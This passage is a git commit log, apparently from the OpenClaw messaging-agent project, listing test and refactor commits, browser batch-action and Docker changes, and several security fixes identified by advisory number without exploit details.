Peter Steinberger
4dbab064f0 test: add parallels windows smoke harness 2026-03-14 00:33:39 +00:00
Peter Steinberger
767609532f test: tighten system run command coverage 2026-03-14 00:30:20 +00:00
Peter Steinberger
f806b07208 refactor: share cli install helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
97aa786dd5 refactor: share browser route helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
614844c9fe refactor: share plugin directory helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
5eaa14687f test: share channel health helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
944a2c93e3 refactor: share gateway connection auth options 2026-03-14 00:30:14 +00:00
Peter Steinberger
42f9737e59 refactor: share gateway chat text normalization 2026-03-14 00:30:14 +00:00
Peter Steinberger
1886fe5fd9 test: share gateway chat history setup 2026-03-14 00:30:14 +00:00
Peter Steinberger
8225b9edbb test: share gateway hook and cron helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
b64466953a test: share plugin http auth helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
b72ac7936a test: share gateway reload helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
320de5ecdd test: share startup auth token fixtures 2026-03-14 00:30:14 +00:00
Peter Steinberger
5f87b1eba5 test: share schtasks gateway script fixture 2026-03-14 00:30:14 +00:00
Peter Steinberger
49cbcea429 refactor: share daemon launchd and path helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
2d39c50ee6 refactor: share daemon lifecycle restart helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
f8efa30305 test: share gateway chat run helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
54999be326 test: share qr cli setup code helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
c90b10b02f test: share daemon cli service helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
68a507ab31 test: share lifecycle config guard helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
6e7e82e5e7 test: share restart health helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
d07c6c0bc6 test: share config-only channel status helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
ed14682d63 test: share heartbeat scheduler helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
1243927cfb test: share line webhook gating helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
fbdea7f3ba test: share telegram account helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
d78b7b3dcf test: share telegram draft stream helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
903cb0679d test: share sanitize session usage helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
91b9c47dad test: share embedded compaction hook helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
34a552383f test: share telegram sticky fetch helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
2da384e110 test: share outbound media fallback helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
ba1d7b272a test: share lane delivery final helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
e91a5c72de test: share scheduled task stop helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
4fe59edd84 test: share systemd service test helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
26578a18c8 test: share agent acp turn helpers 2026-03-14 00:30:14 +00:00
Peter Steinberger
2d1134be23 test: share cron telegram delivery failure assertions 2026-03-14 00:30:14 +00:00
Peter Steinberger
6d06c582e3 test: share config pruning defaults setup 2026-03-14 00:30:14 +00:00
Peter Steinberger
9442260a20 test: share browser loopback auth error assertions 2026-03-14 00:30:14 +00:00
Peter Steinberger
a0fb5c7c41 test: share venice model response fixtures 2026-03-14 00:30:14 +00:00
Peter Steinberger
403e35e6b0 test: share cli help version assertions 2026-03-14 00:30:14 +00:00
Peter Steinberger
0a50eb0343 refactor: share models command helpers 2026-03-14 00:30:13 +00:00
Peter Steinberger
a9194f7a67 test: tighten path prepend casing coverage 2026-03-14 00:28:34 +00:00
Peter Steinberger
3920c444cb test: tighten json file lock coverage 2026-03-14 00:27:40 +00:00
Peter Steinberger
56798bd811 test: add home relative path coverage 2026-03-14 00:26:57 +00:00
Peter Steinberger
285b50c549 fix: support bun lockfile detection 2026-03-14 00:26:03 +00:00
Peter Steinberger
6ad2f793af fix: tighten runtime status detail coverage 2026-03-14 00:24:59 +00:00
Peter Steinberger
70489cbed0 fix: tighten package tag and channel summary coverage 2026-03-14 00:23:57 +00:00
Peter Steinberger
766f13d37a test: expand browser existing-session coverage 2026-03-14 00:22:45 +00:00
Peter Steinberger
3c70e50af5 fix: harden bootstrap and transport ready coverage 2026-03-14 00:22:19 +00:00
Frank Yang
7a53eb7ea8 fix: retry Telegram inbound media downloads over IPv4 fallback (#45327)
* fix: retry telegram inbound media downloads over ipv4

* fix: preserve telegram media retry errors

* fix: redact telegram media fetch errors
2026-03-14 08:21:31 +08:00
Peter Steinberger
060f3e5f9a test: tighten fetch and channel summary coverage 2026-03-14 00:20:47 +00:00
Val Alexander
0e8672af87 fix(ui): stop dashboard chat history reload storm (#45541)
* UI: stop dashboard chat history reload storm

* Changelog: add PR number for chat reload fix

* fix: resolve branch typecheck regressions
2026-03-13 19:19:53 -05:00
Peter Steinberger
4f1195f5ab test: tighten apns send coverage 2026-03-14 00:19:04 +00:00
Peter Steinberger
6ae66a8cbc test: add state migration coverage 2026-03-14 00:17:20 +00:00
Peter Steinberger
6e32daa4da test: add device bootstrap coverage 2026-03-14 00:14:26 +00:00
Peter Steinberger
e268e7a726 test: extract apns store coverage 2026-03-14 00:13:07 +00:00
Peter Steinberger
d4f36fe0be test: extract apns auth helper coverage 2026-03-14 00:11:03 +00:00
Peter Steinberger
60f2aba40d test: extract apns relay coverage 2026-03-14 00:09:15 +00:00
Peter Steinberger
7709e4a219 test: extract archive helper coverage 2026-03-14 00:06:47 +00:00
Peter Steinberger
2235511849 test: add gateway tls helper coverage 2026-03-14 00:04:18 +00:00
Peter Steinberger
2d0b9ee53c test: extract fingerprint helper coverage 2026-03-14 00:01:33 +00:00
Peter Steinberger
816ffb9379 test: extract provider usage load coverage 2026-03-13 23:59:31 +00:00
Peter Steinberger
b7ca9082ef test: tighten fetch helper coverage 2026-03-13 23:57:24 +00:00
Peter Steinberger
4357cf4e37 fix: harden browser existing-session flows 2026-03-13 23:56:48 +00:00
Peter Steinberger
fa05947225 fix: tighten duration formatter coverage 2026-03-13 23:56:24 +00:00
Peter Steinberger
71a3dd80e7 fix: tighten safe bin runtime policy coverage 2026-03-13 23:55:07 +00:00
Peter Steinberger
699ac5ab12 test: tighten safe bin policy coverage 2026-03-13 23:54:12 +00:00
Peter Steinberger
2e409da274 test: tighten channel summary coverage 2026-03-13 23:53:20 +00:00
Peter Steinberger
a5a2e487c7 test: tighten transport ready coverage 2026-03-13 23:51:44 +00:00
Val Alexander
4c77c3a7bb UI: fix chat context notice icon sizing (#45533)
* UI: fix chat context notice icon sizing

* Update ui/src/ui/views/chat.browser.test.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* UI: tighten chat context notice regression test

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-13 18:51:06 -05:00
Peter Steinberger
e8c300c353 fix: tighten device identity helper coverage 2026-03-13 23:50:15 +00:00
Peter Steinberger
8240fc519a test: add archive staging helper coverage 2026-03-13 23:49:07 +00:00
Peter Steinberger
fffe587e27 test: tighten brew helper coverage 2026-03-13 23:47:22 +00:00
Peter Steinberger
3b9989bd90 test: tighten tmp dir fallback coverage 2026-03-13 23:46:45 +00:00
Peter Steinberger
1ae2163413 test: tighten install safe path coverage 2026-03-13 23:45:36 +00:00
Peter Steinberger
98716bc0d7 test: tighten gateway process argv coverage 2026-03-13 23:44:44 +00:00
Peter Steinberger
f8b13e5b70 fix: tighten machine name coverage 2026-03-13 23:43:06 +00:00
Peter Steinberger
47a15d7a9a fix: tighten package tag coverage 2026-03-13 23:42:01 +00:00
Peter Steinberger
369032c256 fix: tighten bonjour error coverage 2026-03-13 23:40:45 +00:00
Peter Steinberger
4d16d1390a fix: tighten package json coverage 2026-03-13 23:39:44 +00:00
Peter Steinberger
50c4e89aeb fix: tighten runtime status coverage 2026-03-13 23:38:47 +00:00
Robin Waslander
a54bf71b4c fix(imessage): sanitize SCP remote path to prevent shell metacharacter injection
References GHSA-g2f6-pwvx-r275.
2026-03-14 00:38:14 +01:00
Peter Steinberger
ff6636ed5b fix: tighten path guard coverage 2026-03-13 23:37:37 +00:00
Tak Hoffman
bff340c1ca test: preserve wrapper behavior for targeted runs FIX OOM issues(#45518)
* test: preserve wrapper behavior for targeted runs

* test: tighten targeted wrapper routing
2026-03-13 18:36:38 -05:00
Peter Steinberger
0da9a25818 test: share pairing setup resolution assertions 2026-03-13 23:35:28 +00:00
Peter Steinberger
a56e620777 test: simplify mattermost token summary fixtures 2026-03-13 23:35:28 +00:00
Peter Steinberger
a474a9c45d test: reuse feishu streaming merge helper 2026-03-13 23:35:28 +00:00
Peter Steinberger
b6c297af8c test: share matrix sdk test mocks 2026-03-13 23:35:28 +00:00
Peter Steinberger
4df8722edf test: share feishu monitor startup mocks 2026-03-13 23:35:28 +00:00
Peter Steinberger
0f8531dea6 test: share synology channel harness 2026-03-13 23:35:28 +00:00
Peter Steinberger
9b0e333f2c refactor: share bluebubbles multipart helpers 2026-03-13 23:35:28 +00:00
Peter Steinberger
d7aa3cc1c3 test: share zalouser test helpers 2026-03-13 23:35:28 +00:00
Peter Steinberger
66979bcc2f refactor: share self hosted provider auth flow 2026-03-13 23:35:28 +00:00
Peter Steinberger
46d4fe2fa1 refactor: share embedded run and discord test helpers 2026-03-13 23:35:28 +00:00
Peter Steinberger
0201f3ff7b refactor: share auto reply helper fixtures 2026-03-13 23:35:28 +00:00
Peter Steinberger
fd5243c27e refactor: share discord exec approval helpers 2026-03-13 23:35:28 +00:00
Peter Steinberger
fd340a88d6 test: dedupe discord preflight helpers 2026-03-13 23:35:28 +00:00
Peter Steinberger
6a44ca9f76 test: dedupe discord queue preflight setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
a7c293b8ef test: dedupe discord bound slash dispatch setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
6cabcf3fd2 test: dedupe session idle timeout assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
f15abb657a test: dedupe discord listener deferred setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
58a51e2746 refactor: share discord preflight shared fields 2026-03-13 23:35:27 +00:00
Peter Steinberger
801113b46a refactor: share session entry persistence update 2026-03-13 23:35:27 +00:00
Peter Steinberger
f8ee528174 refactor: share discord channel override config type 2026-03-13 23:35:27 +00:00
Peter Steinberger
809785dcd7 test: dedupe discord provider account config harness 2026-03-13 23:35:27 +00:00
Peter Steinberger
aed626ed96 test: dedupe discord gateway proxy register flow 2026-03-13 23:35:27 +00:00
Peter Steinberger
ee80b4be69 test: dedupe discord retry delivery setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
3eb039c554 test: dedupe discord forwarded media assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
cad1c95405 test: dedupe inline action skip assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
8cd48c2896 test: dedupe model info reply setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
c59ae1527c refactor: share discord trailing media delivery 2026-03-13 23:35:27 +00:00
Peter Steinberger
1b91fa9358 test: dedupe discord route fixture setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
97ce1503fd refactor: share discord binding update loop 2026-03-13 23:35:27 +00:00
Peter Steinberger
301594b448 refactor: share discord auto thread params 2026-03-13 23:35:27 +00:00
Peter Steinberger
0f9e16ca46 refactor: share provider chunk context resolution 2026-03-13 23:35:27 +00:00
Peter Steinberger
da51e40638 refactor: share auth label suffix formatting 2026-03-13 23:35:27 +00:00
Peter Steinberger
bd758bb438 refactor: share abort target apply params 2026-03-13 23:35:27 +00:00
Peter Steinberger
aaea0b2f28 test: dedupe directive auth ref label setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
07b3f5233e test: dedupe post compaction legacy fallback checks 2026-03-13 23:35:27 +00:00
Peter Steinberger
91c94c8b95 test: dedupe elevated permission assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
b9e5f23914 test: dedupe route reply slack no-op cases 2026-03-13 23:35:27 +00:00
Peter Steinberger
36e9a811cc test: dedupe discord auto thread harness 2026-03-13 23:35:27 +00:00
Peter Steinberger
7b70fa26e6 test: dedupe discord thread starter setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
bbb52087ed test: dedupe llm task embedded run setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
a5671ea3d8 test: dedupe discord delivery target setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
22e976574c test: dedupe inbound main scope fixtures 2026-03-13 23:35:27 +00:00
Peter Steinberger
ccd763aef7 test: dedupe gemini oauth fallback checks 2026-03-13 23:35:27 +00:00
Peter Steinberger
b4719455bc test: dedupe gemini oauth project assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
1d99401b8b refactor: share telegram voice send path 2026-03-13 23:35:27 +00:00
Peter Steinberger
41fa63a49e refactor: share anthropic compat flag checks 2026-03-13 23:35:27 +00:00
Peter Steinberger
088d6432a4 test: dedupe diffs file artifact assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
f7b9cfebe1 test: dedupe diffs http local get setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
07900303f4 refactor: share outbound poll and signal route helpers 2026-03-13 23:35:27 +00:00
Peter Steinberger
86caf454f4 refactor: share device pair ipv4 parsing 2026-03-13 23:35:27 +00:00
Peter Steinberger
9b24f890b2 refactor: share voice call message actions 2026-03-13 23:35:27 +00:00
Peter Steinberger
c5dc61e795 test: share session target and outbound mirror helpers 2026-03-13 23:35:27 +00:00
Peter Steinberger
017c0dce32 test: dedupe msteams attachment redirects 2026-03-13 23:35:27 +00:00
Peter Steinberger
0229246f3b test: share wake failure assertions 2026-03-13 23:35:27 +00:00
Peter Steinberger
fd58268f04 test: dedupe bluebubbles normalize fixtures 2026-03-13 23:35:27 +00:00
Peter Steinberger
a4a7958678 refactor: share outbound base session setup 2026-03-13 23:35:27 +00:00
Peter Steinberger
2ebc7e3ded test: dedupe msteams revoked thread context 2026-03-13 23:35:27 +00:00
Peter Steinberger
40b0cbd713 test: dedupe thread ownership send checks 2026-03-13 23:35:27 +00:00
Peter Steinberger
8ca510a669 test: dedupe feishu media account setup 2026-03-13 23:35:26 +00:00
Peter Steinberger
b213348665 test: dedupe feishu signed webhook posts 2026-03-13 23:35:26 +00:00
Peter Steinberger
4d1fcc1df2 test: share memory lancedb temp config harness 2026-03-13 23:35:26 +00:00
Peter Steinberger
1ea5bba848 test: dedupe feishu startup preflight waits 2026-03-13 23:35:26 +00:00
Peter Steinberger
5af8322ff5 refactor: share tlon channel put requests 2026-03-13 23:35:26 +00:00
Peter Steinberger
7ca8804a33 test: share feishu schema and reaction assertions 2026-03-13 23:35:26 +00:00
Peter Steinberger
a7e5925ec1 test: dedupe feishu account resolution fixtures 2026-03-13 23:35:26 +00:00
Peter Steinberger
9a14696f30 test: dedupe feishu config schema checks 2026-03-13 23:35:26 +00:00
Peter Steinberger
854df8352c refactor: share net and slack input helpers 2026-03-13 23:35:26 +00:00
Peter Steinberger
b5eb329f94 test: dedupe feishu outbound setup 2026-03-13 23:35:26 +00:00
Peter Steinberger
2cf6e2e4f6 test: dedupe matrix target resolution cases 2026-03-13 23:35:26 +00:00
Peter Steinberger
1dc8e17371 refactor: share line outbound media loop 2026-03-13 23:35:26 +00:00
Peter Steinberger
407d0d296d refactor: share tlon outbound send context 2026-03-13 23:35:26 +00:00
Peter Steinberger
a57c590a71 refactor: share telegram outbound send options 2026-03-13 23:35:26 +00:00
Val Alexander
868fd32ee7 fix(config): avoid Anthropic startup crash (#45520)
Co-authored-by: Val Alexander <bunsthedev@gmail.com>
2026-03-13 18:28:33 -05:00
Jacob Tomlinson
63802c1112 docker: add apt-get upgrade to all Dockerfiles (#45384)
* docker: add apt-get upgrade to patch base-image vulnerabilities

Closes #45159

* docker: add DEBIAN_FRONTEND and --no-install-recommends to apt-get upgrade

Prevents debconf hangs during Docker builds and avoids pulling in
recommended packages that silently grow the image.

Co-Authored-By: Claude <noreply@anthropic.com>

* Revert "docker: add DEBIAN_FRONTEND and --no-install-recommends to apt-get upgrade"

This reverts commit 6fc3839cb5.

* docker: add DEBIAN_FRONTEND and --no-install-recommends to apt-get upgrade

Prevents debconf hangs during Docker builds and avoids pulling in
recommended packages that silently grow the image.

Co-Authored-By: Claude <noreply@anthropic.com>

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-13 16:23:02 -07:00
Robin Waslander
1803d16d5c fix(auth): make device bootstrap tokens single-use to prevent scope escalation
Refs: GHSA-63f5-hhc7-cx6p
2026-03-13 23:58:45 +01:00
Vincent Koc
aaeb348bb7 Browser: scope nested batch failures in switch 2026-03-13 15:51:08 -07:00
Peter Steinberger
ae1a1fccfe fix: stabilize browser existing-session control 2026-03-13 22:41:17 +00:00
Vincent Koc
e82ba71911 fix(browser): follow up batch failure and limit handling (#45506)
* fix(browser): propagate nested batch failures

* fix(browser): validate top-level batch limits

* test(browser): cover nested batch failures

* test(browser): cover top-level batch limits
2026-03-13 15:39:28 -07:00
Robin Waslander
7e49e98f79 fix(telegram): validate webhook secret before reading request body
Refs: GHSA-jq3f-vjww-8rq7
2026-03-13 23:21:48 +01:00
Eyal En Gad
1ef0aa443b docs(android): note that app is not publicly released yet (#23051)
Co-authored-by: Eyal <eyal.engad@gmail.com>
2026-03-13 15:14:53 -07:00
Vincent Koc
f59b2b1db3 fix(browser): normalize batch act dispatch for selector and batch support (#45457)
* feat(browser): add batch actions, CSS selector support, and click delayMs

Adds three improvements to the browser act tool:

1. CSS selector support: All element-targeting actions (click, type,
   hover, drag, scrollIntoView, select) now accept an optional
   'selector' parameter alongside 'ref'. When selector is provided,
   Playwright's page.locator() is used directly, skipping the need
   for a snapshot to obtain refs. This reduces roundtrips for agents
   that already know the DOM structure.

2. Click delay (delayMs): The click action now accepts an optional
   'delayMs' parameter. When set, the element is hovered first, then
   after the specified delay, clicked. This enables human-like
   hover-before-click in a single tool call instead of three
   (hover + wait + click).

3. Batch actions: New 'batch' action kind that accepts an array of
   actions to execute sequentially in a single tool call. Supports
   'stopOnError' (default true) to control whether execution halts
   on first failure. Results are returned as an array. This eliminates
   the AI inference roundtrip between each action, dramatically
   reducing latency and token cost for multi-step flows.

Addresses: #44431, #38844

* fix(browser): address security review — batch evaluateEnabled guard, input validation, recursion limit

Fixes all 4 issues raised by Greptile review:

1. Security: batch actions now respect evaluateEnabled flag.
   executeSingleAction and batchViaPlaywright accept evaluateEnabled
   param. evaluate and wait-with-fn inside batches are rejected
   when evaluateEnabled=false, matching the direct route guards.

2. Security: batch input validation. Each action in body.actions
   is validated as a plain object with a known kind string before
   dispatch. Applies same normalization as direct action handlers.

3. Perf: SELECTOR_ALLOWED_KINDS moved to module scope as a
   ReadonlySet<string> constant (was re-created on every request).

4. Security: max batch nesting depth of 5. Nested batch actions
   track depth and throw if MAX_BATCH_DEPTH exceeded, preventing
   call stack exhaustion from crafted payloads.

* fix(browser): normalize batch act dispatch

* fix(browser): tighten existing-session act typing

* fix(browser): preserve batch type text

* fix(browser): complete batch action execution

* test(browser): cover batch route normalization

* test(browser): cover batch interaction dispatch

* fix(browser): bound batch route action inputs

* fix(browser): harden batch interaction limits

* test(browser): cover batch security guardrails

---------

Co-authored-by: Diwakar <diwakarrankawat@gmail.com>
2026-03-13 15:10:55 -07:00
Peter Steinberger
d0337a18b6 fix: clear typecheck backlog 2026-03-13 22:09:06 +00:00
Peter Steinberger
a66a0852bb test: cover plugin-sdk subpath imports 2026-03-13 22:09:06 +00:00
Vincent Koc
65f92fd839 Guard updater service refresh against missing invocation cwd (#45486)
* Update: capture a stable cwd for service refresh env

* Test: cover service refresh when cwd disappears
2026-03-13 18:09:01 -04:00
Peter Steinberger
fac754041c fix: tighten executable path coverage 2026-03-13 22:07:14 +00:00
Peter Steinberger
0826feb94d test: tighten path prepend helper coverage 2026-03-13 22:06:01 +00:00
Peter Steinberger
56e5b8b9e8 test: tighten secret file error coverage 2026-03-13 22:04:54 +00:00
Peter Steinberger
c04ea0eac5 test: tighten tmp dir security coverage 2026-03-13 22:03:17 +00:00
Peter Steinberger
cb99a23d84 test: tighten shell env helper coverage 2026-03-13 22:02:18 +00:00
Peter Steinberger
fb4aa7eaba fix: tighten shared chat envelope coverage 2026-03-13 22:00:22 +00:00
Peter Steinberger
2fe4c4f8e5 test: tighten shared auth store coverage 2026-03-13 21:59:35 +00:00
Peter Steinberger
6a9e141c7a test: tighten shared config eval helper coverage 2026-03-13 21:58:23 +00:00
Peter Steinberger
b7ff8256ef test: guard plugin-sdk shared-bundle regression (#45426) (thanks @TarasShyn) 2026-03-13 21:57:43 +00:00
Taras Shynkarenko
ccced29b46 perf(build): deduplicate plugin-sdk chunks to fix ~2x memory regression
Bundle all plugin-sdk entries in a single tsdown build pass instead of
38 separate builds. The separate builds prevented the bundler from
sharing common chunks, causing massive duplication (e.g. 20 copies of
query-expansion, 14 copies of fetch, 11 copies of logger).

Measured impact:
- dist/ size: 190MB → 64MB (-66%)
- plugin-sdk/ size: 142MB → 16MB (-89%)
- JS files: 1,395 → 789 (-43%)
- 5MB+ files: 27 → 7 (-74%)
- Plugin-SDK heap cost: +1,309MB → +63MB (-95%)
- Total heap (all chunks loaded): 1,926MB → 711MB (-63%)
2026-03-13 21:57:43 +00:00
Peter Steinberger
592d93211f test: tighten shared manifest metadata coverage 2026-03-13 21:57:16 +00:00
Peter Steinberger
25e900f64a test: tighten shared requirements coverage 2026-03-13 21:55:40 +00:00
Peter Steinberger
a9d8518e7c test: dedupe msteams consent auth fixtures 2026-03-13 21:54:39 +00:00
Peter Steinberger
110eeec5b8 test: dedupe twitch access control checks 2026-03-13 21:54:39 +00:00
Peter Steinberger
0530d1c530 test: dedupe twitch access control assertions 2026-03-13 21:54:39 +00:00
Peter Steinberger
f2300f4522 test: dedupe msteams policy route fixtures 2026-03-13 21:54:39 +00:00
Peter Steinberger
b23bfef8cc test: dedupe feishu probe fixtures 2026-03-13 21:54:39 +00:00
Peter Steinberger
5b51d92f3e test: dedupe synology channel account fixtures 2026-03-13 21:54:39 +00:00
Peter Steinberger
d964c15040 test: dedupe synology webhook request helpers 2026-03-13 21:54:39 +00:00
Peter Steinberger
8896a477df test: dedupe bluebubbles local media send cases 2026-03-13 21:54:39 +00:00
Peter Steinberger
168394980f refactor: share slack allowlist target mapping 2026-03-13 21:54:39 +00:00
Peter Steinberger
f0d0ad39c4 test: dedupe nostr profile http assertions 2026-03-13 21:54:39 +00:00
Peter Steinberger
58baf22230 refactor: share zalo monitor processing context 2026-03-13 21:54:39 +00:00
Peter Steinberger
b9f0effd55 test: dedupe synology chat client timer setup 2026-03-13 21:54:39 +00:00
Peter Steinberger
853999fd7f refactor: dedupe synology chat client webhook payloads 2026-03-13 21:54:39 +00:00
Peter Steinberger
f5b9095108 refactor: share zalo send result handling 2026-03-13 21:54:39 +00:00
Val Alexander
158d970e2b [codex] Polish sidebar status, agent skills, and chat rendering (#45451)
* style: update chat layout and spacing for improved UI consistency

- Adjusted margin and padding for .chat-thread and .content--chat to enhance layout.
- Consolidated CSS selectors for better readability and maintainability.
- Introduced new test for log parsing functionality to ensure accurate message extraction.

* UI: polish agent skills, chat images, and sidebar status

* test: stabilize vitest helper export types

* UI: address review feedback on agents refresh and chat styles

* test: update outbound gateway client fixture values

* test: narrow shared ip fixtures to IPv4
2026-03-13 16:53:40 -05:00
Peter Steinberger
52900b48ad test: tighten shared policy helper coverage 2026-03-13 21:53:11 +00:00
Peter Steinberger
4de268587c test: tighten shared tailscale fallback coverage 2026-03-13 21:52:01 +00:00
Peter Steinberger
e665888a45 test: tighten shared usage aggregate coverage 2026-03-13 21:51:01 +00:00
Peter Steinberger
fbcea506ba test: tighten shared gateway bind and avatar coverage 2026-03-13 21:49:50 +00:00
Peter Steinberger
daca6c9df2 test: tighten small shared helper coverage 2026-03-13 21:48:40 +00:00
Peter Steinberger
9b590c9f67 test: tighten shared reasoning tag coverage 2026-03-13 21:47:33 +00:00
Peter Steinberger
ae5563dd18 test: tighten shared join and message content coverage 2026-03-13 21:46:20 +00:00
Peter Steinberger
2d7a061161 test: tighten shared ip parsing coverage 2026-03-13 21:45:30 +00:00
Peter Steinberger
e7863d7fdd test: add parallels macos smoke harness 2026-03-13 21:44:29 +00:00
Peter Steinberger
c659f6c959 fix: improve onboarding install diagnostics 2026-03-13 21:44:29 +00:00
Peter Steinberger
eea41f308e fix: tighten shared subagent format coverage 2026-03-13 21:44:11 +00:00
Peter Steinberger
dd54b6f4c7 test: tighten shared node match coverage 2026-03-13 21:43:01 +00:00
Peter Steinberger
73c2edbc0c test: tighten shared code region coverage 2026-03-13 21:42:07 +00:00
Peter Steinberger
fa04e62201 test: tighten shared tailscale and sample coverage 2026-03-13 21:40:59 +00:00
Peter Steinberger
a6375a2094 refactor: share zalouser account resolution 2026-03-13 21:40:54 +00:00
Peter Steinberger
7235ee55c6 test: share APNs direct send fixtures 2026-03-13 21:40:54 +00:00
Peter Steinberger
29bc011ec7 test: share heartbeat retry fixtures 2026-03-13 21:40:54 +00:00
Peter Steinberger
ed3dd6a1a0 test: share install flow failure harness 2026-03-13 21:40:54 +00:00
Peter Steinberger
84a50acb55 refactor: share portable env entry normalization 2026-03-13 21:40:54 +00:00
Peter Steinberger
ef15600b3e refactor: share request body chunk accounting 2026-03-13 21:40:54 +00:00
Peter Steinberger
8f852ef82f refactor: share system run success delivery 2026-03-13 21:40:54 +00:00
Peter Steinberger
a2fcaf9774 test: share plugin install path fixtures 2026-03-13 21:40:54 +00:00
Peter Steinberger
f06ae90884 test: share process respawn launchd assertions 2026-03-13 21:40:54 +00:00
Peter Steinberger
25eb3d5209 refactor: share openclaw root package parsing 2026-03-13 21:40:54 +00:00
Peter Steinberger
95f8b91c8a test: share memory search manager fixtures 2026-03-13 21:40:54 +00:00
Peter Steinberger
7eb38e8f7b test: share temporal decay vector fixtures 2026-03-13 21:40:54 +00:00
Peter Steinberger
a879ad7547 test: share node host credential assertions 2026-03-13 21:40:54 +00:00
Peter Steinberger
4ec0a120df test: share zalo api request assertion 2026-03-13 21:40:54 +00:00
Peter Steinberger
ba34266e89 test: dedupe cron config setup 2026-03-13 21:40:53 +00:00
Peter Steinberger
83571fdb93 refactor: dedupe agent list filtering 2026-03-13 21:40:53 +00:00
Peter Steinberger
fa1ce9fd19 test: trim acp translator import duplication 2026-03-13 21:40:53 +00:00
Peter Steinberger
7119ab1d98 refactor: dedupe home relative path resolution 2026-03-13 21:40:53 +00:00
Peter Steinberger
e4924a0134 test: dedupe acp translator cancel scoping tests 2026-03-13 21:40:53 +00:00
Peter Steinberger
77d2f9a354 refactor: share snake case param lookup 2026-03-13 21:40:53 +00:00
Peter Steinberger
467a7bae3f refactor: share session conversation normalization 2026-03-13 21:40:53 +00:00
Peter Steinberger
0f637b5e30 refactor: share acp conversation text normalization 2026-03-13 21:40:53 +00:00
Peter Steinberger
9b6790e3a6 refactor: share acp binding resolution helper 2026-03-13 21:40:53 +00:00
Peter Steinberger
94531fa237 test: reduce docker setup e2e duplication 2026-03-13 21:40:53 +00:00
Peter Steinberger
d9fb1e0e45 test: dedupe acp startup test harness 2026-03-13 21:40:53 +00:00
Peter Steinberger
1301462a1b refactor: share acp persistent binding fixtures 2026-03-13 21:40:53 +00:00
Peter Steinberger
4269ea4e8d test: share slack config snapshot helper 2026-03-13 21:40:53 +00:00
Peter Steinberger
71639d1744 test: share lobster windows spawn assertions 2026-03-13 21:40:53 +00:00
Peter Steinberger
12432ca138 test: share googlechat webhook routing helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
d4d0091760 test: share msteams safe fetch assertions 2026-03-13 21:40:53 +00:00
Peter Steinberger
9ecd1898d0 refactor: share telegram channel test harnesses 2026-03-13 21:40:53 +00:00
Peter Steinberger
3ffb9f19cb test: reduce feishu reply dispatcher duplication 2026-03-13 21:40:53 +00:00
Peter Steinberger
d347a4426d refactor: share twitch outbound target assertions 2026-03-13 21:40:53 +00:00
Peter Steinberger
aa551e5a9c refactor: share acpx process env test helper 2026-03-13 21:40:53 +00:00
Peter Steinberger
65cf2cea9d refactor: share matrix monitor test helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
67f7d1e65f test: dedupe slack message event tests 2026-03-13 21:40:53 +00:00
Peter Steinberger
c8898034f9 refactor: share agent wait dedupe cleanup 2026-03-13 21:40:53 +00:00
Peter Steinberger
b5010719d6 test: dedupe telnyx webhook test fixtures 2026-03-13 21:40:53 +00:00
Peter Steinberger
d5d2fe1b0e test: reduce webhook auth test duplication 2026-03-13 21:40:53 +00:00
Peter Steinberger
de9ea76b6c refactor: dedupe feishu send reply fallback helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
0159269a51 refactor: share openclaw tool sandbox config 2026-03-13 21:40:53 +00:00
Peter Steinberger
4674fbf923 refactor: share handshake auth helper builders 2026-03-13 21:40:53 +00:00
Peter Steinberger
6ecc184637 refactor: share googlechat api fetch handling 2026-03-13 21:40:53 +00:00
Peter Steinberger
e64cc907ff test: share cron run fallback helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
0574ac23d0 test: share delivery target session helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
d7f9035e80 test: share sandbox default assertions 2026-03-13 21:40:53 +00:00
Peter Steinberger
7fd21b6bc6 refactor: share subagent followup reply helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
